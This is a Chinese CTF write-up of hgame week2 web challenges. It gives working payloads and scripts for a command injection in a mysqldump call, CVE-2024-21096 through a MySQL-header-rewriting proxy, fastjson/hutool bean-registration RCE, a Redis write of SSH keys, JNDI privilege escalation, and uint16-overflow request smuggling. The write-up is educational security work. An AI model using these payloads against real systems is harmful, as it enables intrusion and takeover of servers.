前言
hgame week2 的题还是太吃操作了,几乎零解,跟着官 p 学习一下吧
HoneyPot && revenge
因为这道题被非预期了,所以出了个 revenge,但是不影响他仍然是个烂题,先看一下他的漏洞代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
config.RemoteHost = sanitizeInput(config.RemoteHost)
config.RemoteUsername = sanitizeInput(config.RemoteUsername)
config.RemoteDatabase = sanitizeInput(config.RemoteDatabase)
config.LocalDatabase = sanitizeInput(config.LocalDatabase)
command := fmt.Sprintf("/usr/local/bin/mysqldump -h %s -u %s -p%s %s |/usr/local/bin/mysql -h 127.0.0.1 -u %s -p%s %s",
config.RemoteHost,
config.RemoteUsername,
config.RemotePassword,
config.RemoteDatabase,
localConfig.Username,
localConfig.Password,
config.LocalDatabase,
)
fmt.Println(command)
cmd := exec.Command("sh", "-c", command)
if err := cmd.Run(); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to import data: " + err.Error(),
})
return
}
|
非预期是没有对 RemotePassword 参数做过滤,直接打堆叠即可:
1
2
3
4
5
6
7
8
9
|
// /api/import post请求
{
"remote_host": "8.154.18.17",
"remote_port": "3306",
"remote_username": "root",
"remote_password": "; /writeflag ;#",
"remote_database": "mydb",
"local_database": "aaa"
}
|
那么出题的本意是什么呢,CVE-2024-21096 mysqldump 命令注⼊,这个博客介绍的很详细,或者去看官 p,但是用这个出题简直烂到家了,利用条件苛刻得要命,复现还难如登天。居然要源码编译 MySQL?我本地 Ubuntu 直接崩了,几十个 G 的依赖,编译四个小时直接卡死。另一种蜜罐模拟更离谱,一直报错,估计出题人自己都没搞明白吧,官方 POC 都没有。
虽然是烂题但是我看到一个群友说可以做一个端口转发,听不来不错,我决定尝试一下:
1
|
ssh -R [远程服务器端口]:localhost:[本地虚拟机端口] [远程服务器用户]@[远程服务器ip/域名]
|
注意:/ 需要配置 /etc/ssh/sshd_config 中 GatewayPorts yes,没有就添加这一行,随后重启 sudo systemctl restart sshd,如果没有这个设置,还是不会出网,只会监听服务器本地,如图所示还是没出网

设置完后就可以了

使用 SSH 隧道建立一个反向代理连接,解决本地虚拟机不能出网的问题,在这里可以在本地编译完恶意的 mysql(我就不演示了),再通过服务器进行转发。
还有一种直接改包的方法我还没有复现成功(貌似是因为我的版本号太短了),放上群友的脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
import asyncio
# 用wireshark,发现我这边的mysql服务器一开始会传出这个
# 把它换掉
# 重新编译是最稳的方案
HEADER_OLD = b"c\x00\x00\x00\n5.5.5-10.11.6-MariaDB-0+deb12u1"
HEADER_NEW = b"c\x00\x00\x00\n5.5.5-10.11.6-Ma\n\\! /writeflag\n"
IN_HOST, IN_PORT = "localhost", 3306
OUT_HOST, OUT_PORT = "localhost", 9999
async def client_connect(reader, writer):
s_reader, s_writer = await asyncio.open_connection(host=IN_HOST, port=IN_PORT)
async def writeout():
out = await s_reader.read(len(HEADER_OLD))
print(">?", out)
assert out == HEADER_OLD
assert len(HEADER_OLD) == len(HEADER_NEW)
out = HEADER_NEW
print(">!", out)
writer.write(out)
while not s_reader.at_eof() and not writer.is_closing():
out = await s_reader.read(1)
# print(">", out)
writer.write(out)
async def readin():
while not reader.at_eof() and not s_writer.is_closing():
out = await reader.read(1)
# print("<", out)
s_writer.write(out)
await asyncio.gather(writeout(), readin())
async def main():
server = await asyncio.start_server(client_connect, host=OUT_HOST, port=OUT_PORT, reuse_address=True)
async with server:
await server.serve_forever()
if __name__ == "__main__":
asyncio.run(main())
|
我来补充了:终于用这个脚本成功了,还需要调整一点(稍微长一点的版本号都是可以的,自己本地 mysqldump 再用 wireshark 抓一下就知道了)
1
2
|
HEADER_OLD = b"T\x00\x00\x00\n11.4.4-MariaDB-3\x00"
HEADER_NEW = b"T\x00\x00\x00\n11\n\\! /writeflag\x00"
|
大致流程就是:本地的 mysql (3306)=> 通过脚本抓包,然后改掉版本号转发到 9999 端口上 => 再通过 ssh 转发 9999 到服务器上的 3306(题目有点问题,所以只能用 3306 端口)=> 题目服务器导入版本号执行命令
还有一点要注意就是数据库东西不能太多了(不知道为什么导入一半就停了),最好是一个空的数据库。还是要感谢有两位师傅一直耐心指导我!!!
SigninJava
纯 java 小白,只能通过 gpt 来看懂代码
jadx 反编译可以看到只有一个 /api/gateway 路由
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
@RequestMapping({"/api"})
@Controller
/* loaded from: SigninJava.jar:BOOT-INF/classes/icu/Liki4/signin/controller/APIGatewayController.class */
public class APIGatewayController {
@RequestMapping(value = {"/gateway"}, method = {RequestMethod.POST})
@ResponseBody
public BaseResponse doPost(HttpServletRequest request) throws Exception {
try {
String body = IOUtils.toString(request.getReader());
Map<String, Object> map = (Map) JSON.parseObject(body, Map.class);
String beanName = (String) map.get("beanName");
String methodName = (String) map.get(JsonEncoder.METHOD_NAME_ATTR_NAME);
Map<String, Object> params = (Map) map.get("params");
if (StrUtil.containsAnyIgnoreCase(beanName, "flag")) {
return new BaseResponse(403, "flagTestService offline", null);
}
Object result = InvokeUtils.invokeBeanMethod(beanName, methodName, params);
return new BaseResponse(200, null, result);
} catch (Exception e) {
return new BaseResponse(500, ((Throwable) Objects.requireNonNullElse(e.getCause(), e)).getMessage(), null);
}
}
}
|

检查了 flag,那么 FlagTestService 是不能用的,还注意到了 beanName,method,params 三个可控参数,所以再看一下 InvokeUtils.invokeBeanMethod
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
|
public static Object invokeBeanMethod(String beanName, String methodName, Map<String, Object> params) throws Exception {
Object beanObject = SpringContextHolder.getBean(beanName);
Method beanMethod = (Method) Arrays.stream(beanObject.getClass().getMethods()).filter(method -> {
return method.getName().equals(methodName);
}).findFirst().orElse(null);
if (beanMethod.getParameterCount() == 0) {
return beanMethod.invoke(beanObject, new Object[0]);
}
String[] parameterTypes = new String[beanMethod.getParameterCount()];
Object[] parameterArgs = new Object[beanMethod.getParameterCount()];
for (int i = 0; i < beanMethod.getParameters().length; i++) {
Class<?> parameterType = beanMethod.getParameterTypes()[i];
String parameterName = beanMethod.getParameters()[i].getName();
parameterTypes[i] = parameterType.getName();
if (!parameterType.isPrimitive() && !Date.class.equals(parameterType) && !Long.class.equals(parameterType) && !Integer.class.equals(parameterType) && !Boolean.class.equals(parameterType) && !Double.class.equals(parameterType) && !Float.class.equals(parameterType) && !Short.class.equals(parameterType) && !Byte.class.equals(parameterType) && !Character.class.equals(parameterType) && !String.class.equals(parameterType) && !List.class.equals(parameterType) && !Set.class.equals(parameterType) && !Map.class.equals(parameterType)) {
if (params.containsKey(parameterName)) {
parameterArgs[i] = JSON.parseObject(JSON.toJSONString(params.get(parameterName)), (Class) parameterType, autoTypeFilter, new JSONReader.Feature[0]);
} else {
try {
parameterArgs[i] = JSON.parseObject(JSON.toJSONString(params), (Class) parameterType, autoTypeFilter, new JSONReader.Feature[0]);
} catch (JSONException e) {
for (Map.Entry<String, Object> entry : params.entrySet()) {
Object value = entry.getValue();
if ((value instanceof String) && ((String) value).contains("\"")) {
params.put(entry.getKey(), JSON.parse((String) value));
}
}
parameterArgs[i] = JSON.parseObject(JSON.toJSONString(params), (Class) parameterType, autoTypeFilter, new JSONReader.Feature[0]);
}
}
} else {
parameterArgs[i] = params.getOrDefault(parameterName, null);
}
}
return beanMethod.invoke(beanObject, parameterArgs);
}
|

可以看到 fastjson 反序列化时无任何过滤,所以可以注册一个危险类和方法进行 rce,这里是使用 cn.hutool(因为有代码调用了这个类)
先动态注册恶意 bean
1
2
3
4
5
6
7
8
9
10
|
{
"beanName": "cn.hutool.extra.spring.SpringUtil",
"methodName": "registerBean",
"params": {
"arg0": "execCmd",
"arg1": {
"@type": "cn.hutool.core.util.RuntimeUtil"
}
}
}
|
调用注册类的方法就可以进行 rce 了
1
2
3
4
5
6
7
8
|
{
"beanName": "execCmd",
"methodName": "execForStr",
"params": {
"arg0": "utf-8",
"arg1": ["/readflag"]
}
}
|
日落的紫罗兰
题目给了两个端口,一个是 ssh 另一个是 redis,很经典的 redis 写 ssh 公钥
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
ssh-keygen -t rsa -f ./1
(echo -e “\n\n”; cat ./1.pub; echo -e “\n\n”) > spaced_key.txt
cat spaced_key.txt |redis-cli -h [ip] -p [port] -x set ssh_key
redis-cli -h [ip] -p [port]
config set dir /home/mysid/.ssh //这个用户名是根据给的user.txt试出来的
config set dbfilename "authorized_keys"
save
exit
ssh -i 1 mysid@[ip] -p [port] //可以用私钥直接连接ssh服务器了
|

还需要提权,常规的都不能用,于是执行 ps -aux,发现有一个 root 运行的 java 应用,scp 提取出来分析一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
public class MainController {
@Autowired
private LdapLookupService ldapLookupService;
@GetMapping({"/"})
public String index() {
return "Under build...";
}
@PostMapping({"/search"})
public ResponseEntity<List<String>> lookupLdap(@RequestParam String baseDN, @RequestParam String filter) {
List<String> results = this.ldapLookupService.search(baseDN, filter);
if (results.isEmpty()) {
return ResponseEntity.noContent().build();
}
return ResponseEntity.ok(results);
}
}
|
只有两个路由,然后注意到了

貌似就是 JNDI 注入,直接打就行,我还是选择使用工具(传到题目服务器上),因为还不是很熟 java 的漏洞


这时的 flag 就可读了
不存在的车厢
整数溢出协议走私,没怎么看懂先放在这里。
看了一个师傅的 wp 后,恍然大悟。
后端(监听在 8080 端口)/flag 路由只能接受 post 请求,而代理(监听在 8081 端口)通过一个自定义的 H111 协议与后端通信,只能接受 get 请求,二者产生了矛盾,所以要用到协议走私。
在 H111 协议中,请求体的长度以一个 16 位无符号整数(uint16)写入,这意味着如果构造的 HTTP 请求其 body 长度超过 65535 字节,实际写入的长度会发生 MOD 2^16 运算(即取低 16 位)。
1
2
3
4
5
6
7
8
|
if req.Body != nil {
body, err := io.ReadAll(req.Body)
// …
if err := binary.Write(writer, binary.BigEndian, uint16(len(body))); err != nil { … }
writer.Write(body)
} else {
binary.Write(writer, binary.BigEndian, uint16(0))
}
|
同时注意到后端的处理逻辑采用了一个无限循环:
1
2
3
4
5
6
|
for {
req, err := h111.ReadH111Request(conn)
if err != nil { … }
// 用 httptest.NewRecorder 调用 mux.ServeHTTP
// 将响应写回 conn
}
|
也就是说,只要 TCP 连接上还有数据,后端就会继续调用 ReadH111Request 来解析 “下一条” 请求。而代理端对与后端连接进行了复用,因此只要某个连接中残留了数据,就可能在下一次请求时被读取并当作一个完整的新请求处理。
攻击链:构造一个超长 GET 请求,总长度 B 超过 65535 字节 => 利用长度字段溢出制造出数据残留 => 将走私数据拼接在超长 GET 请求的尾部(post /flag)
放在师傅的 exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
|
#!/usr/bin/env python3
import socket
import struct
def build_smuggled_request():
method = b"POST"
uri = b"/flag"
header_count = 0
fixed_part = (
struct.pack(">H", len(method)) + method +
struct.pack(">H", len(uri)) + uri +
struct.pack(">H", header_count)
)
# body_size 为 65536 - 固定部分(17 字节) - 2 字节 body 长度字段
body_size = 65536 - (len(fixed_part) + 2)
# 构造 body,此处填充 A 字符
body = b"A" * body_size
# 构造 body 部分:先写 2 字节的 body 长度(body_size,uint16),再写 body 内容
body_part = struct.pack(">H", body_size) + body
smuggled = fixed_part + body_part
assert len(smuggled) == 65536, f"smuggled length = {len(smuggled)} != 65536"
return smuggled
def build_payload(padding_size, smuggled):
padding = b"B" * padding_size # P 字节填充(例如 100 字节)
full_body = padding + smuggled
return full_body
def build_http_request(full_body):
request_line = b"GET /flag HTTP/1.1\r\n"
headers = (
b"Host: 127.0.0.1:8081\r\n" +
b"Content-Length: " + str(len(full_body)).encode() + b"\r\n" +
b"\r\n"
)
http_request = request_line + headers + full_body
return http_request
def send_payload(host, port, payload):
with socket.create_connection((host, port)) as s:
print(f"[+] 连接到 {host}:{port}")
s.sendall(payload)
print("[+] Payload 已发送,等待响应...")
response = b""
s.settimeout(2)
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
response += chunk
except socket.timeout:
pass
print("[+] 收到响应:")
try:
print(response.decode())
except UnicodeDecodeError:
print(response)
def main():
# 选择填充长度 P
padding_size = 100
smuggled = build_smuggled_request()
print(f"[+] 构造的 smuggled 请求长度: {len(smuggled)} bytes")
full_body = build_payload(padding_size, smuggled)
print(f"[+] 最终 HTTP 请求体总长度: {len(full_body)} bytes")
http_request = build_http_request(full_body)
print(f"[+] 构造的 HTTP 请求总长度: {len(http_request)} bytes")
send_payload("ip", port, http_request)
if __name__ == "__main__":
main()
|
多发几次就可以卡出连接复用。